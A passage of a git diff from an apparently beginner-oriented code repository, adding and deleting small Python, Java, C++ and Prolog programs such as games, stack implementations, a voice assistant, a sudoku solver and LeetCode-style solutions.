inpdo=="add": - print("Now you can add") - j= open("KrishDiet.txt","a") - j.write(input()) - print("successfully written") - elif inpdo == "read": - - h = open("KrishDiet.txt") - print(h.read()) - h.close() - - if inpname=="Samir": - print("What do you want to do add or read") - inpdo = input() - - if inpdo == "add": - print("Now you can add") - i = open("SamirDiet.txt","a") - i.write(input()) - print("successfully written") - elif inpdo == "read": - - j = open("SamirDiet.txt.txt") - print(j.read()) - j.close() - - if inpname=="Harry": - print("What do you want to do add or read") - inpdo = input() - - if inpdo == "add": - print("Now you can add") - k = open("HarryDiet.txt","a") - k.write(input()) - print("successfully written") - elif inpdo == "read": - - l = open("HarryDiet.txt") - print(l.read()) - l.close() -else: - print("Error") - print("please try again") diff --git a/Add Code Here/PYTHON/snake_game.py b/Add Code Here/PYTHON/snake_game.py deleted file mode 100644 index 8bc8aec09da..00000000000 --- a/Add Code Here/PYTHON/snake_game.py +++ /dev/null @@ -1,124 +0,0 @@ -def snake() : - import turtle , random , time - count = 0 - delay = 0.09 - score = 0 - win = turtle.Screen() - win.title("__Snake__") - win.bgcolor("black") - win.setup(width=800,height=600) - win.tracer(0) - - snake = turtle.Turtle() - snake.speed(0) - snake.shape("square") - snake.color("white") - snake.shapesize(stretch_wid = 1 , stretch_len = 1) - snake.penup() - snake.direction = "stop" - - snake_body = [] - - food = turtle.Turtle() - food.speed(0) - food.shape("circle") - food.color("red") - food.penup() - food.goto(random.randint(-340,+340) ,random.randint(-280 , +280 )) - - pen = turtle.Turtle() - pen.speed(0) - pen.color('white') - pen.penup() - pen.hideturtle() - pen.goto(0,+280) - pen.write("Score : " , align = "center" , font = ("Arial" , 14 , "bold" )) - - - def move() : - if snake.direction =="up" : - snake.sety(snake.ycor() + 20) - if snake.direction == "down" : - snake.sety(snake.ycor() - 20 ) - if snake.direction == "left" : - snake.setx(snake.xcor() - 20 ) - if snake.direction == "right" : - snake.setx(snake.xcor() + 20 ) - - - def up() : - snake.direction = "up" - def down() : - snake.direction = "down" - def right() : - snake.direction = "right" - def left() : - snake.direction = "left" - - - win.listen() - win.onkeypress(up, "w") - win.onkeypress(down, "s") - win.onkeypress(left, "a") - win.onkeypress(right, "d") - - while True : - win.update() - - if snake.distance(food) <25: - - - x = random.randint(-290, 290) - y = random.randint(-290, 290) - food.goto(x, y) - - score = score + 1 - pen.clear() - pen.write("Score : {} ".format(score), align = "center" , font = ("Arial" , 14 , "bold" )) - - body = turtle.Turtle() - body.speed(0) - body.shape("square") - body.color("white") - body.penup() - snake_body.append(body) - - for index in range(len(snake_body)-1, 0 , -1): - x = snake_body[index-1].xcor() - y = snake_body[index-1].ycor() - snake_body[index].goto(x, y) - - if len(snake_body) > 0: - x = snake.xcor() - y = snake.ycor() - snake_body[0].goto(x,y) - - time.sleep(delay) - - move() - - if snake.xcor() > 390 : - snake.goto(snake.xcor() * (-1) , snake.ycor()) - elif snake.xcor() < -390 : - snake.goto(snake.xcor()*(-1) , snake.ycor()) - elif snake.ycor() > 290 : - snake.goto(snake.xcor(),snake.ycor()*(-1)) - elif snake.ycor() < - 290 : - snake.goto(snake.xcor() , snake.ycor() * (-1)) - - - for body in snake_body : - if body.distance(snake) < 20 : - time.sleep(1) - snake.goto(0,0) - snake.direction = "stop" - for body in snake_body : - body.goto(1000,1000) - snake_body.clear() - pen.clear() - pen.write("Score : " , align = "center" , font = ("Arial" , 14 , "bold" )) - score = 0 - -snake() - - \ No newline at end of file diff --git a/Add Code Here/PYTHON/space-invasion.py b/Add Code Here/PYTHON/space-invasion.py new file mode 100644 index 00000000000..b7b36c8179f --- /dev/null +++ b/Add Code Here/PYTHON/space-invasion.py @@ -0,0 +1,211 @@ +# This is only part of the game +# Refer to https://github.com/Hemant-Agrawal/Space-Invasion for more details +import pygame +import random +from pygame import mixer + +pygame.init() +screen = pygame.display.set_mode((800, 600)) +clock = pygame.time.Clock() + +background = pygame.image.load("Images\\space-bg.png") +mixer.music.load("Sound\\background.wav") +mixer.music.play(-1) + +icon = pygame.image.load("Images\\globe.png") +pygame.display.set_icon(icon) +pygame.display.set_caption("Space Invasion") +explosion_sound = mixer.Sound("Sound\\explosion.wav") + +font72 = pygame.font.Font('freesansbold.ttf', 72) +font32 = pygame.font.Font('freesansbold.ttf', 32) + + +def isCollison(first, second): + if first[0] <= second[0] + second[2] and first[0] + first[2] >= second[0]: + if first[1] <= second[1] + second[2] and first[1] + first[2] >= second[1]: + explosion_sound.play() + return True + return False + + +def game_over(): + global running + running = False + text = font72.render('GAME OVER', True, (255, 255, 255)) + screen.blit(text, (210, 230)) + + +def magazine_show(capacity): + for i in range(capacity): + screen.blit(Bullet.img, (760-25*i, 10)) + + +def show_score(): + score = font32.render(f"Score : {score_value}", True, (255, 255, 255)) + screen.blit(score, (10, 10)) + score = font32.render(f"Level : {level_value}", True, (255, 255, 255)) + screen.blit(score, (300, 10)) + + +def level_up(): + global enemies, level_value + number_of_enemies = 6 + level_value + enemies = [Enemy() for _ in range(number_of_enemies)] + level_value += 1 + + +def reloading(): + global reload + reload = True + return magazine + 1 + + +class Enemy: + enemy_id = 0 + img = pygame.image.load('Images\\alien.png') + + def __init__(self): + Enemy.enemy_id += 1 + self.X = random.randint(0, 736) + self.Y = random.randint(32, 150) + self.X_change = 4 + self.Y_change = 64 + self.id = Enemy.enemy_id + self.size = 64 + + def __repr__(self): + return f"Enemy ID:- {self.id}" + + def show(self, display_object): + self.X += self.X_change + display_object.blit(Enemy.img, (self.X, self.Y)) + + def move(self): + if self.X >= 736: + self.X_change = -4 + self.Y += self.Y_change + elif self.X <= 0: + self.X_change = 4 + self.Y += self.Y_change + + def killed(self): + self.X = random.randint(0, 736) + self.Y = random.randint(32, 200) + + +class Player: + player_id = 0 + + def __init__(self): + Player.player_id += 1 + self.img = pygame.image.load('Images\\spaceship.png') + self.X = 350 + self.Y = 480 + self.X_change = 0 + self.id = Player.player_id + self.size = 64 + + def __repr__(self): + return f"Player ID:- {self.id}" + + def show(self, display_object): + self.X += self.X_change + if self.X >= 736: + self.X = 736 + elif self.X <= 0: + self.X = 0 + display_object.blit(self.img, (self.X, self.Y)) + + def move(self, right): + if right: + self.X_change = 3 + if not right: + self.X_change = -3 + + def stop(self): + self.X_change = 0 + + +class Bullet: + bullet_id = 0 + img = pygame.image.load('Images\\bullet.png') + + def __init__(self): + Bullet.bullet_id += 1 + self.X = 0 + self.Y = 0 + self.Y_change = 2 + self.id = Bullet.bullet_id + self.size = 32 + self.state = 'ready' + self.sound = mixer.Sound("Sound\\laser.wav") + + def __repr__(self): + return f"Bullet ID:- {self.id}" + + def show(self, display_object): + if self.Y <= 0: + self.ready() + if self.state == 'fired': + self.Y -= self.Y_change + display_object.blit(self.img, (self.X, self.Y)) + + def fired(self): + self.state = 'fired' + self.sound.play() + + def ready(self): + self.state = 'ready' + self.Y = 0 + + +reload = False +score_value = 0 +level_value = 0 +enemies = [] +magazine = 0 +magazine_size = 8 +bullets = [Bullet() for _ in range(magazine_size)] +player = Player() +running = True +while running: + screen.blit(background, (0, 0)) + if magazine == 0: + magazine = magazine_size + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_RIGHT: + player.move(right=True) + if event.key == pygame.K_LEFT: + player.move(right=False) + if event.key == pygame.K_SPACE and magazine > 0: + if bullets[magazine-1].state == 'ready': + magazine -= 1 + bullets[magazine].X, bullets[magazine].Y = player.X + 16, player.Y + bullets[magazine].fired() + if event.type == pygame.KEYUP: + if event.key == pygame.K_RIGHT or event.key == pygame.K_LEFT: + player.stop() + show_score() + if len(enemies) == 0: + level_up() + for enemy in enemies: + enemy.move() + enemy.show(screen) + if isCollison((enemy.X, enemy.Y, enemy.size), (player.X, player.Y, player.size)): + game_over() + player.show(screen) + for bullet in bullets: + bullet.show(screen) + for enemy in enemies: + if isCollison((enemy.X, enemy.Y, enemy.size), (bullet.X, bullet.Y, bullet.size)): + bullet.ready() + score_value += 1 + enemies.remove(enemy) + magazine_show(len([1 for bullet in bullets if bullet.state == 'ready'])) + clock.tick(60) + pygame.display.update() +pygame.quit() diff --git a/Add Code Here/PYTHON/stack using list.py b/Add Code Here/PYTHON/stack using list.py deleted file mode 100644 index a9b238efc84..00000000000 --- a/Add Code Here/PYTHON/stack using list.py +++ /dev/null @@ -1,15 +0,0 @@ -# (a) To implement stack using list - -list=[] -list.append(1) -print("push:",list) -list.append(2) -print("push:",list) -list.append(3) -print("push:",list) -list.pop() -print("pop:",list) -print("peek:",list[-1]) -list.pop() -print("pop:",list) -print("peek:",list[-1]) \ No newline at end of file diff --git a/Add Code Here/PYTHON/stack.py b/Add Code Here/PYTHON/stack.py new file mode 100644 index 00000000000..da176ab0715 --- /dev/null +++ b/Add Code Here/PYTHON/stack.py @@ -0,0 +1,54 @@ +class Node: + def __init__(self, value): + self.value = value + self.next = None + + +class Stack: + def __init__(self): + self.head = Node("head") + self.size = 0 + + def __str__(self): + cur = self.head.next + out = "" + while cur: + out += str(cur.value) + "->" + cur = cur.next + return out[:-2] + + def getSize(self): + return self.size + + def isEmpty(self): + return self.size == 0 + + def peek(self): + if self.isEmpty(): + raise Exception("Peeking from an empty stack") + return self.head.next.value + + def push(self, value): + node = Node(value) + node.next = self.head.next + self.head.next = node + self.size += 1 + + def pop(self): + if self.isEmpty(): + raise Exception("Popping from an empty stack") + remove = self.head.next + self.head.next = self.head.next.next + self.size -= 1 + return remove.value + +if __name__ == "__main__": + stack = Stack() + for i in range(1, 11): + stack.push(i) + print(f"Stack: {stack}") + + for _ in range(1, 6): + remove = stack.pop() + print(f"Pop: {remove}") + print(f"Stack: {stack}") diff --git a/Add Code Here/PYTHON/stack_and_operations.py b/Add Code Here/PYTHON/stack_and_operations.py deleted file mode 100644 index c16a91d7414..00000000000 --- a/Add Code Here/PYTHON/stack_and_operations.py +++ /dev/null @@ -1,66 +0,0 @@ - - -class Stack: - def __init__(self,s): - self.data = [] - self.size=s - self.top = -1 - def push(self, element): - self.data.append(element) - self.top = self.top + 1 - def pop(self): - popped_element = None - if(self.top>-1): - popped_element = self.data.pop() - self.top = self.top - 1 - return popped_element - def peek(self): - return self.data[self.top] - def isEmpty(self): - if len(self.data) == 0: - return 1 - return 0 - def isFull(self): - if len(self.data) == self.size : - return 1 - else: - return 0 - -if __name__ == "__main__": - - test_cases=int(input()) # number of test cases - size=int(input()) # size of Stack - stack=Stack(size) # creating new stack object - - while(test_cases>0): - instruction=input().split() - val=0 - if len(instruction)>1: - val=int(instruction[1]) - - instruction=int(instruction[0]) - ##### - # Instruction 1 means Push - # Instruction 2 means Pop - # Instruction 3 means Peek - # Instruction 4 means isEmpty - # Instruction 5 means isFull - ##### - - if(instruction==1): - print(f'push:{val}') - stack.push(val) - - elif (instruction==2): - print(f'pop:{stack.pop()}') - - elif (instruction==3): - print(f'peek:{stack.peek()}') - - elif(instruction==4): - print(f'isEmpty:{stack.isEmpty()}') - - elif(instruction==5): - print(f'isFull:{stack.isFull()}') - - test_cases=test_cases-1 diff --git a/Add Code Here/PYTHON/star-printer.py b/Add Code Here/PYTHON/star-printer.py deleted file mode 100644 index 31ac5d08fc1..00000000000 --- a/Add Code Here/PYTHON/star-printer.py +++ /dev/null @@ -1,7 +0,0 @@ -width = int(input("Width: ")) -height = int(input("Height: ")) - -for x in range(width): - for y in range(height): - print("⭐", end="") - print("") diff --git a/Add Code Here/PYTHON/starpatt.py b/Add Code Here/PYTHON/starpatt.py deleted file mode 100644 index 1d033901af0..00000000000 --- a/Add Code Here/PYTHON/starpatt.py +++ /dev/null @@ -1,22 +0,0 @@ -# Python 3.x code to demonstrate star pattern - -# Function to demonstrate printing pattern -def pypart(n): - - # outer loop to handle number of rows - # n in this case - for i in range(0, n): - - # inner loop to handle number of columns - # values changing acc. to outer loop - for j in range(0, i+1): - - # printing stars - print("* ",end="") - - # ending line after each row - print("\r") - -# Driver Code -n = 5 -pypart(n) diff --git a/Add Code Here/PYTHON/stella_personal assistant.py b/Add Code Here/PYTHON/stella_personal assistant.py deleted file mode 100644 index 7c5126e74ae..00000000000 --- a/Add Code Here/PYTHON/stella_personal assistant.py +++ /dev/null @@ -1,173 +0,0 @@ -import pyttsx3 -import speech_recognition as sr -import datetime -import wikipedia -import webbrowser as wb -import os -import smtplib -import requests -from pprint import pprint -from selenium import webdriver - -print("<<<<>>>>") -engine = pyttsx3.init('sapi5') -voices = engine.getProperty('voices') -print(voices[1].id) -engine.setProperty('voice',voices[0].id) - -def speak(audio): - engine.say(audio) - engine.runAndWait() - - -def wishMe(): - speak("system online, loading modules") - speak("Welcome back sir") - hour = int(datetime.datetime.now().hour) - year = int(datetime.datetime.now().year) - month = int(datetime.datetime.now().month) - date = int(datetime.datetime.now().day) - Time = datetime.datetime.now().strftime("%I:%M") - print(Time) - print(date,"/",month,"/",year) - speak("the current Time is") - speak(Time) - speak("the current Date is") - speak(date) - speak(month) - speak(year) - if hour>=6 and hour<12: - speak("Good Morning mister V!,hope U have a Great day ahed!") - - elif hour>=12 and hour<18: - speak("Good Afternoon mister V!") - - elif hour>=18 and hour<24: - speak("Good Evening mister V!,hope U had a Great day") - - else: - speak("Good Night mister V!,sleep thight, dont let the bed bugs bite") - - speak("Stella at your Service. Please tell me how can I help You ") -#wishMe() -def takeCommand(): - - r = sr.Recognizer() - with sr.Microphone() as source: - print("Listening...") - speak("Listening...") - audio = r.listen(source) - - try: - print("Recognizing...") - query = r.recognize_google(audio, language='en-in') - print(f"LV Said:{query}\n") - - except Exception as e: - print(e) - print("Say that again Please...") - speak("Say that again Please...") - return "None" - return query - - -def sendEmail(to, content): - server = smtplib.SMTP('smtp.gmail.com', 587) - server.ehlo() - server.starttls() - server.login('Senderemail@gmail.com', 'Password') - server.sendmail('Senderemail@gmail.com', to, content) - server.close() - -if __name__ == "__main__": - wishMe() - while True: - query = takeCommand().lower() - - - if 'wikipedia' in query: - speak('Searching Wikipedia...') - query = query.replace("wikipedia", "") - results = wikipedia.summary(query, sentences=2) - speak("According to Wikipedia") - print(results) - speak(results) - - elif 'search in chrome' in query: - speak("what should i search?") - chrome_path = 'C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s'#Add the Location of the chrome browser - - r = sr.Recognizer() - - with sr.Microphone() as source: - print('say something!') - audio = r.listen(source) - print("done") - try: - text = r.recognize_google(audio) - print('google think you said:\n' +text +'.com') - wb.get(chrome_path).open(text+'.com') - except Exception as e: - print(e) - - elif 'how is the weather' and 'weather' in query: - - url = 'https://api.openweathermap.org/'#Open api link here - - res = requests.get(url) - - data = res.json() - - weather = data['weather'] [0] ['main'] - temp = data['main']['temp'] - wind_speed = data['wind']['speed'] - - latitude = data['coord']['lat'] - longitude = data['coord']['lon'] - - description = data['weather'][0]['description'] - speak('Temperature : {} degree celcius'.format(temp)) - print('Wind Speed : {} m/s'.format(wind_speed)) - print('Latitude : {}'.format(latitude)) - print('Longitude : {}'.format(longitude)) - print('Description : {}'.format(description)) - print('weather is: {} '.format(weather)) - speak('weather is : {} '.format(weather)) - - - elif 'the time' in query: - strTime = datetime.datetime.now().strftime("%I:%M:%S") - speak(f"Sir, the time is {strTime}") - - elif 'the date' in query: - year = int(datetime.datetime.now().year) - month = int(datetime.datetime.now().month) - date = int(datetime.datetime.now().day) - speak("the current Date is") - speak(date) - speak(month) - speak(year) - - - elif 'email to Lokesh' and 'send email' in query: - try: - speak("What should I say?") - content = takeCommand() - to = "ReciversEmail@gmail.com" - sendEmail(to, content) - speak("Email has been sent!") - except Exception as e: - print(e) - speak("Sorry Sir . I am not able to send this email") - - elif 'open code' in query: - codePath = "C:\\Users\\user account\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe"#ADD THE PATH OF THE PROGEM HERE - os.startfile(codePath) - - - elif 'open' in query: - os.system('explorer C://{}'.format(query.replace('Open',''))) - - elif 'go offline' in query: - speak("ok sir shutting down the system") - quit() diff --git a/Add Code Here/PYTHON/sudoku.py b/Add Code Here/PYTHON/sudoku.py deleted file mode 100644 index 1eed35ca22c..00000000000 --- a/Add Code Here/PYTHON/sudoku.py +++ /dev/null @@ -1,147 +0,0 @@ -# A Backtracking program -# in Python to solve Sudoku problem - -# A Utility Function to print the Grid -def print_grid(arr): - for i in range(9): - for j in range(9): - print arr[i][j], - print ('n') - - -# Function to Find the entry in -# the Grid that is still not used -# Searches the grid to find an -# entry that is still unassigned. If -# found, the reference parameters -# row, col will be set the location -# that is unassigned, and true is -# returned. If no unassigned entries -# remains, false is returned. -# 'l' is a list variable that has -# been passed from the solve_sudoku function -# to keep track of incrementation -# of Rows and Columns -def find_empty_location(arr, l): - for row in range(9): - for col in range(9): - if(arr[row][col]== 0): - l[0]= row - l[1]= col - return True - return False - -# Returns a boolean which indicates -# whether any assigned entry -# in the specified row matches -# the given number. -def used_in_row(arr, row, num): - for i in range(9): - if(arr[row][i] == num): - return True - return False - -# Returns a boolean which indicates -# whether any assigned entry -# in the specified column matches -# the given number. -def used_in_col(arr, col, num): - for i in range(9): - if(arr[i][col] == num): - return True - return False - -# Returns a boolean which indicates -# whether any assigned entry -# within the specified 3x3 box -# matches the given number -def used_in_box(arr, row, col, num): - for i in range(3): - for j in range(3): - if(arr[i + row][j + col] == num): - return True - return False - -# Checks whether it will be legal -# to assign num to the given row, col -# Returns a boolean which indicates -# whether it will be legal to assign -# num to the given row, col location. -def check_location_is_safe(arr, row, col, num): - - # Check if 'num' is not already - # placed in current row, - # current column and current 3x3 box - return not used_in_row(arr, row, num) and - not used_in_col(arr, col, num) and - not used_in_box(arr, row - row % 3, - col - col % 3, num) - -# Takes a partially filled-in grid -# and attempts to assign values to -# all unassigned locations in such a -# way to meet the requirements -# for Sudoku solution (non-duplication -# across rows, columns, and boxes) -def solve_sudoku(arr): - - # 'l' is a list variable that keeps the - # record of row and col in - # find_empty_location Function - l =[0, 0] - - # If there is no unassigned - # location, we are done - if(not find_empty_location(arr, l)): - return True - - # Assigning list values to row and col - # that we got from the above Function - row = l[0] - col = l[1] - - # consider digits 1 to 9 - for num in range(1, 10): - - # if looks promising - if(check_location_is_safe(arr, - row, col, num)): - - # make tentative assignment - arr[row][col]= num - - # return, if success, - # ya ! - if(solve_sudoku(arr)): - return True - - # failure, unmake & try again - arr[row][col] = 0 - - # this triggers backtracking - return False - -# Driver main function to test above functions -if __name__=="__main__": - - # creating a 2D array for the grid - grid =[[0 for x in range(9)]for y in range(9)] - - # assigning values to the grid - grid =[[3, 0, 6, 5, 0, 8, 4, 0, 0], - [5, 2, 0, 0, 0, 0, 0, 0, 0], - [0, 8, 7, 0, 0, 0, 0, 3, 1], - [0, 0, 3, 0, 1, 0, 0, 8, 0], - [9, 0, 0, 8, 6, 3, 0, 0, 5], - [0, 5, 0, 0, 9, 0, 6, 0, 0], - [1, 3, 0, 0, 0, 0, 2, 5, 0], - [0, 0, 0, 0, 0, 0, 0, 7, 4], - [0, 0, 5, 2, 0, 6, 3, 0, 0]] - - # if success print the grid - if(solve_sudoku(grid)): - print_grid(grid) - else: - print "No solution exists" - -# The above code has been contributed by Harshit Sidhwa. diff --git a/Add Code Here/PYTHON/sumoflist.py b/Add Code Here/PYTHON/sumoflist.py deleted file mode 100644 index 81ed96ff02c..00000000000 --- a/Add Code Here/PYTHON/sumoflist.py +++ /dev/null @@ -1,7 +0,0 @@ -def sum_list(items): - sum_numbers = 0 - for x in items: - sum_numbers += x - return sum_numbers - -print(sum_list([1,2,4,5])) diff --git a/Add Code Here/PYTHON/three_sum.py b/Add Code Here/PYTHON/three_sum.py deleted file mode 100644 index 328c335fb5c..00000000000 --- a/Add Code Here/PYTHON/three_sum.py +++ /dev/null @@ -1,22 +0,0 @@ -class Solution: - def threeSum(self, nums: List[int]) -> List[List[int]]: - result = [] - nums.sort() - - for i, a in enumerate(nums): - if i > 0 and a == nums[i - 1]: - continue - - l, r = i + 1, len(nums) - 1 - while l < r: - threeSum = a + nums[l] + nums[r] - if threeSum > 0: - r -= 1 - elif threeSum < 0: - l += 1 - else: - result.append([a, nums[l], nums[r]]) - l += 1 - while nums[l] == nums[l - 1] and l < r: - l += 1 - return result diff --git a/Add Code Here/PYTHON/triangle.py b/Add Code Here/PYTHON/triangle.py deleted file mode 100644 index 09563ec1779..00000000000 --- a/Add Code Here/PYTHON/triangle.py +++ /dev/null @@ -1,26 +0,0 @@ -string = "" - -x = int(input("Masukkan angka :")) -bar = x -# Looping Baris -while bar >= 0: - # Looping Kolom Spasi Kosong - kol = bar - while kol > 0: - string = string + " " - kol = kol - 1 - # Looping Kolom Bintang Sisi Kiri - kiri = 1 - while kiri < (x - (bar-1)): - string = string + " * " - kiri = kiri + 1 - # Looping Kolom Bintang Sisi Kanan - kanan = 1 - while kanan < kiri -1: - string = string + " * " - kanan = kanan + 1 - - string = string + "\n\n" - bar = bar - 1 - -print (string) \ No newline at end of file diff --git a/Add Code Here/PYTHON/valid_anagram.py b/Add Code Here/PYTHON/valid_anagram.py new file mode 100644 index 00000000000..47649764b65 --- /dev/null +++ b/Add Code Here/PYTHON/valid_anagram.py @@ -0,0 +1,14 @@ +""" +Given two strings `s` and `t`, return true if `t` is an anagram of `s`, and false otherwise. + +An Anagram is a word or phrase formed by rearranging the letters of a different word or phrase, +typically using all the original letters exactly once. +""" + +def is_anagram(s:str, t:str) -> bool: + return sorted(s) == sorted(t) + +if __name__ == "__main__": + s = "car" + t = "rca" + print(is_anagram(s, t)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/voice.py b/Add Code Here/PYTHON/voice.py deleted file mode 100644 index 084b0c0ca49..00000000000 --- a/Add Code Here/PYTHON/voice.py +++ /dev/null @@ -1,12 +0,0 @@ -#python code for voice recorder - -import sounddevice -from scipy.io.wavfile import write -fs = 44100 #sample rate -second = int(input("Enter the time duration in seconds: ")) -print("Recording....\n") -record_voice = sounddevice.rec(int(second*fs),samplerate = fs,channels=2) -sounddevice.wait() -write("out.wav", fs,record_voice) -print("Finished...\nPlease Check it...") - diff --git a/Add Code Here/PYTHON/weather.py b/Add Code Here/PYTHON/weather.py deleted file mode 100644 index 53b7cd09a1e..00000000000 --- a/Add Code Here/PYTHON/weather.py +++ /dev/null @@ -1,25 +0,0 @@ -import requests - - -def get_weather(city: str): - # Enter your API key here - api_key = "Your_API_Key" - url = "https://api.openweathermap.org/data/2.5/weather?q=" + \ - city + "&appid=" + api_key + "&units=metric" - - response = requests.get(url).json() - - if response["cod"] == "404": - print('City not found.') - else: - weather = response["main"] - description = response["weather"][0]["description"] - print("Location: " + city.capitalize()) - print(description.capitalize()) - print("Temperature: " + str(weather["temp"]) + " C" + "\u00B0") - print("Feel like: " + str(weather["feels_like"]) + " C" + "\u00B0") - print("Humidity: " + str(weather["humidity"]) + " %") - - -city = input("Enter your city: ") -get_weather(city) diff --git a/Add Code Here/PYTHON/webcam.py b/Add Code Here/PYTHON/webcam.py deleted file mode 100644 index e4d69cc5aa5..00000000000 --- a/Add Code Here/PYTHON/webcam.py +++ /dev/null @@ -1,15 +0,0 @@ -from cv2 import cv2 - -cam = cv2.VideoCapture(0) - -while True: - retV, frame = cam.read() - gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) - cv2.imshow('Webcam', frame) - cv2.imshow('Webcam 1', gray) - k = cv2.waitKey(1) & 0xff - if k == 27 or k == ord('q'): - break - -cam.release() -cv2.destroyAllWindows() \ No newline at end of file diff --git a/Add Code Here/PYTHON/word_counter.py b/Add Code Here/PYTHON/word_counter.py deleted file mode 100644 index 6537b3af80e..00000000000 --- a/Add Code Here/PYTHON/word_counter.py +++ /dev/null @@ -1,17 +0,0 @@ -''' -A counter turns a sequence of values into a defaultdict(int)-like object mapping keys to counts. we will use -it to create Histogram -''' -from collections import Counter #Import Counter To Count Numbers -import random # Genrate Random Number -n = 100 # n = Total Number of Random Genrated Numbers -doc = [] -for i in range(n): - nums = random.randint(10,50) # Genrate n number Between 10-50 - doc.append(nums) -print(doc) # Print List Of Random Genrated Numbers -word_counts = Counter(doc) -for word, count in word_counts.most_common(10): # Count Most Common 10 Numbers - print('The Number %d Comes %d times ' %(word,count)) - -#print(word_counts.most_common(10)) diff --git a/Add Code Here/PYTHON/yolo_object_detection.py b/Add Code Here/PYTHON/yolo_object_detection.py deleted file mode 100644 index 80c9ba99f79..00000000000 --- a/Add Code Here/PYTHON/yolo_object_detection.py +++ /dev/null @@ -1,80 +0,0 @@ -import cv2 -import numpy as np - -# Load Yolo - -# Load the deep neural network in the system -net = cv2.dnn.readNet("yolov3.weights", "yolov3.cfg") - -#load the classes from the coco dataset -classes = [] # 'person','bicycles' etc... -with open("coco.names", "r") as f: - - # put them simply in an array - classes = [line.strip() for line in f.readlines()] # 'person','bicycles' etc... - -# we need to get the final result which is why we use output_layers -# It gives you list of all layers used in a network. Like I am currently working with yolov3. It gives me a list of 254 layers. -layer_names = net.getLayerNames() -#It gives you the final layers number in the list from net.getLayerNames(). I think it gives the layers number that are unused (final layer). For yolov3, it gave me three number, 200, 227, 254. To get the corresponding indexes, we need to do layer_names[i[0] - 1] -output_layers = [layer_names[i[0] - 1] for i in net.getUnconnectedOutLayers()] -colors = np.random.uniform(0, 255, size=(len(classes), 3)) - -# Loading the image so that we can do the operations on it -img = cv2.imread("room_ser.jpg") # image of a room - -# image was large thus shrinking it -img = cv2.resize(img, None, fx=0.4, fy=0.4) -height, width, channels = img.shape - -# Detecting objects -# blobs are the short images of the original image for 3 different channels Red,green and blue. there is not much difference for this particular image. -#True means change the channels -blob = cv2.dnn.blobFromImage(img, 0.00392, (416, 416), (0, 0, 0), True, crop=False) - -#input -net.setInput(blob) -#output -outs = net.forward(output_layers) - -# Showing informations on the screen -class_ids = [] -confidences = [] -boxes = [] - - -for out in outs: - for detection in out: - scores = detection[5:] - class_id = np.argmax(scores) - confidence = scores[class_id] - if confidence > 0.5: - # Object detected - center_x = int(detection[0] * width) - center_y = int(detection[1] * height) - w = int(detection[2] * width) - h = int(detection[3] * height) - - # Rectangle coordinates - x = int(center_x - w / 2) - y = int(center_y - h / 2) - - boxes.append([x, y, w, h]) - confidences.append(float(confidence)) - class_ids.append(class_id) - -indexes = cv2.dnn.NMSBoxes(boxes, confidences, 0.5, 0.4) -print(indexes) -font = cv2.FONT_HERSHEY_PLAIN -for i in range(len(boxes)): - if i in indexes: - x, y, w, h = boxes[i] - label = str(classes[class_ids[i]]) - color = colors[class_ids[i]] - cv2.rectangle(img, (x, y), (x + w, y + h), color, 2) - cv2.putText(img, label, (x, y + 30), font, 3, color, 3) - - -cv2.imshow("Image", img) -cv2.waitKey(0) -cv2.destroyAllWindows() \ No newline at end of file diff --git a/Add Code Here/PYTHON/yutubdownloader.py b/Add Code Here/PYTHON/yutubdownloader.py deleted file mode 100644 index afa582ed3fe..00000000000 --- a/Add Code Here/PYTHON/yutubdownloader.py +++ /dev/null @@ -1,11 +0,0 @@ -import pytube - -print(" SIMPLE YOUTUBE DOWNLOADER \n") - -link = input("Enter youtube url: ") -path = input("Enter path to save video, ex. D:\\video: ") - -get = pytube.YouTube(link) -filter = get.streams.filter(progressive=True, file_extension='mp4') -filter.get_highest_resolution().download(path) -print("your video was ben downloaded check ->", path) \ No newline at end of file diff --git a/Add Code Here/PYTHON/zerosubarray.py b/Add Code Here/PYTHON/zerosubarray.py deleted file mode 100644 index 81f258e454f..00000000000 --- a/Add Code Here/PYTHON/zerosubarray.py +++ /dev/null @@ -1,23 +0,0 @@ -# def zerosubarray(l): -# n =len(l) -# for i in range(n): -# for j in range(i+1, n+1): -# if sum(l[i:j]) == 0: -# return True -# return False -from operator import le - - -def zerosubarray(l): - preset = 0 - h = set() - for i in range(len(l)): - preset += l[i] - if preset == 0 or preset in h: - return True - h.add(preset) - return False - - - -print(zerosubarray([1,4,13,-3,-10,5])) \ No newline at end of file diff --git a/Add Code Here/Prolog/Fibonacci series b/Add Code Here/Prolog/Fibonacci series deleted file mode 100644 index 67c420aab0c..00000000000 --- a/Add Code Here/Prolog/Fibonacci series +++ /dev/null @@ -1,11 +0,0 @@ -W# rite a program in PROLOG to implement generate_fib(N,T) where T represents the Nth term of the fibonacci series. - - -generate_fib(0,0). -generate_fib(1,1). -generate_fib(N,T):- - N1 is N-1, - generate_fib(N1,T1), - N2 is N-2, - generate_fib(N2,T2), - T is T1+T2. \ No newline at end of file diff --git a/Add Code Here/Reversal.java b/Add Code Here/Reversal.java new file mode 100644 index 00000000000..25f3c2da0a5 --- /dev/null +++ b/Add Code Here/Reversal.java @@ -0,0 +1,32 @@ + +import java.util.*; + +public class Reversal { + public static void reverse(Queue q) { + Stack s = new Stack<>(); + + while(!q.isEmpty()) { + s.push(q.remove()); + } + + while(!s.isEmpty()) { + q.add(s.pop()); + } + + } + public static void main(String args[]) { + Queue q = new LinkedList<>(); + q.add(1); + q.add(2); + q.add(3); + q.add(4); + q.add(5); + + reverse(q); + + while(!q.isEmpty()) { + System.out.print(q.remove()+" "); + } + System.out.println(); + } +} \ No newline at end of file diff --git a/Add Code Here/Reverse Nodes in k-Group (LeetCode #25).cpp b/Add Code Here/Reverse Nodes in k-Group (LeetCode #25).cpp new file mode 100644 index 00000000000..19ed17a4717 --- /dev/null +++ b/Add Code Here/Reverse Nodes in k-Group (LeetCode #25).cpp @@ -0,0 +1,35 @@ +struct ListNode { + int val; + ListNode* next; + ListNode(int val) : val(val), next(nullptr) {} +}; + +ListNode* reverseKGroup(ListNode* head, int k) { + ListNode* current = head; + int count = 0; + + // Count the number of nodes in the current group + while (current && count < k) { + current = current->next; + count++; + } + + if (count == k) { + // Reverse the current group + ListNode* prev = nullptr; + current = head; + for (int i = 0; i < k; i++) { + ListNode* nextNode = current->next; + current->next = prev; + prev = current; + current = nextNode; + } + + // Recursively reverse the next group + head->next = 